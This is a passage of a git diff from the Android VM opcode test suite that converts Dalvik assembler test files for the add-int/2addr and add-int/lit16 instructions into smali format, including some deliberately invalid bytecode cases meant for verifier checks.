-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 33231415
-       add-int/2addr v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.smali
new file mode 100644
index 0000000..26d6e94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int/2addr v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.d
deleted file mode 100644
index 7b4adf8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_4.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/2addr v1, v3
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.smali
new file mode 100644
index 0000000..dc2277e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/2addr v1, v3
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.d
deleted file mode 100644
index 042e671..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_5.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-       add-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.smali
new file mode 100644
index 0000000..94914c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       add-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.d
deleted file mode 100644
index 50a14a9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_6.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/2addr v2, v4
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.smali
new file mode 100644
index 0000000..a208ba7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/2addr v2, v4
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.d
deleted file mode 100644
index b79b0f6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_1.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 8
-       add-int/lit16 v0, v1, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.smali
new file mode 100644
index 0000000..dc7d79f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 8
+       add-int/lit16 v0, v1, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.d
deleted file mode 100644
index c8b348a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_10.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -2147483648
-       add-int/lit16 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.smali
new file mode 100644
index 0000000..f264919
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483648
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.d
deleted file mode 100644
index 26fe8ec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_11.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit16 v0, v1, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.smali
new file mode 100644
index 0000000..229b4a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_11.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.d
deleted file mode 100644
index 34af2a7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_12.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -32768
-       add-int/lit16 v0, v1, -32768
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.smali
new file mode 100644
index 0000000..3c72454
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_12.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -32768
+       add-int/lit16 v0, v1, -32768
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.d
deleted file mode 100644
index 95fd121..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_13.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       add-int/lit16 v0, v0, 1
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.smali
new file mode 100644
index 0000000..096b321
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_13.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int/lit16 v0, v0, 1
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.d
deleted file mode 100644
index dfa3742..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_14.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 33231415
-       add-int/lit16 v0, v0, 1
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.smali
new file mode 100644
index 0000000..4577a94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_14.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int/lit16 v0, v0, 1
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.d
deleted file mode 100644
index 6cc4b57..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_15.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/lit16 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.smali
new file mode 100644
index 0000000..79b17a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_15.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.d
deleted file mode 100644
index ba09106..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_16.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-       add-int/lit16 v0, v3, 123
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.smali
new file mode 100644
index 0000000..ec1fc1d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_16.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       add-int/lit16 v0, v3, 123
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.d
deleted file mode 100644
index bc66cbd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
